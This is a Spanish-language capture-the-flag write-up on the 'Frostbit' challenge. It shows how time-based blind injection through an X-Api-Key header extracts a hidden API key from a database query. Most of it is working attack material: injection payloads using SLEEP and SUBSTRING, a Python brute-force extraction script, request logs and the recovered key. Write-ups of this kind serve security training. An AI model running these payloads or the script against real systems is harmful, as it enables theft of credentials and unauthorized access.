X-Api-Key: test’|| 1==1 CONCAT(“RE”, “TURN”) {‘role’: ‘admin’ } %252F%252F

Si uso a'--', por ejemplo, la consulta debería parecerse a esto:

FOR doc IN config
FILTER doc.<key_name_omitted> == 'user_supplied_x_api_key'
<other_query_lines_omitted>
RETURN doc
FOR doc IN config
FILTER doc.<key_name_omitted> == 'a' --''
<other_query_lines_omitted>
RETURN doc

Después de darle muchas vueltas, recibí una pista: la mejor manera de probarlo era usando pausas.

Así que probé: lala' OR (1==1 AND SLEEP(10))OR ' introduce una pausa y devuelve un error de tiempo de espera. No parece superar los dos o tres segundos; no sé por qué. lala' OR (1==2 AND SLEEP(10))OR ' devuelve clave inválida.

Después lo comprobé con: lala' OR (LENGTH(doc._key) == 6 AND SLEEP(10)) OR ' Podemos deducir que el atributo _key del documento tiene seis caracteres.

Ahora busco funciones que permitan inferir el valor de la clave API. Creé un script Python para extraerlo:

Captura del reto Frostbit

Y funcionó:

Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 5, 1) == 'e' AND SLEEP(10)) OR '"} (current password = confi)
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 5, 1) == 'f' AND SLEEP(10)) OR '"} (current password = confi)
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 5, 1) == 'g' AND SLEEP(10)) OR '"} (current password = confi)


{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n    <other_query_lines_omitted>\n    RETURN doc"}



Found one more char : configg, current password = config
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 6, 1) == 'h' AND SLEEP(10)) OR '"} (current password = config)
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 6, 1) == 'i' AND SLEEP(10)) OR '"} (current password = config)

El par atributo-valor es _key=config. Ahora podemos obtener los atributos del documento, excluir los del sistema, como _key, identificar el que buscamos y repetir el proceso con su valor.

Después de un rato obtuve:

Captura del reto Frostbit

El atributo que buscamos se llama deactivate_api_key.

Averigüé la longitud de su valor mediante búsqueda binaria:

X-Api-Key: lala' OR (LENGTH(doc.deactivate_api_key) == 36 AND SLEEP(10))OR '

La longitud es 36, así que actualicé el script:

import requests
import string

key=''
u='https://api.frostbit.app/api/v1/frostbitadmin/bot/0769cce0-369a-40c6-8350-870af7e77eb6/deactivate?debug=true'
count = 0

while count < 36:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$', '\n', '\r', '\t', "'", '/', ';', '\\', '`' ]:
        header = {"x-api-key": f"lala' OR (SUBSTRING(doc.deactivate_api_key, {count}, 1) == '{c}' AND SLEEP(10)) OR '"}
        r = requests.get(u, headers=header)
        print(f"Going with f{header} (current password = {key})")
        if not 'Invalid' in r.text:
            print("\n\n"+r.text+"\n\n")
        if 'Timeout' in r.text:
            key += c
            print(f"Found one more char : {key+c}, current password = {key}")
            count += 1

Después de un rato obtuve la flag:

Captura del reto Frostbit

{"message":"Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"0769cce0-369a-40c6-8350-870af7e77eb6\",\"hash\":\"68cbe75d67de763247f727ff2685d3334e665a04f1419125636fd3bddac77bbf\",\"uid\":\"54041\"}\nPOSTED WIN RESULTS FOR RID 0769cce0-369a-40c6-8350-870af7e77eb6","status":"Deactivated"}

X-Api-Key: abe7a6ad-715e-4e6a-901b-c9279a964f91


¡Eso es todo por este año!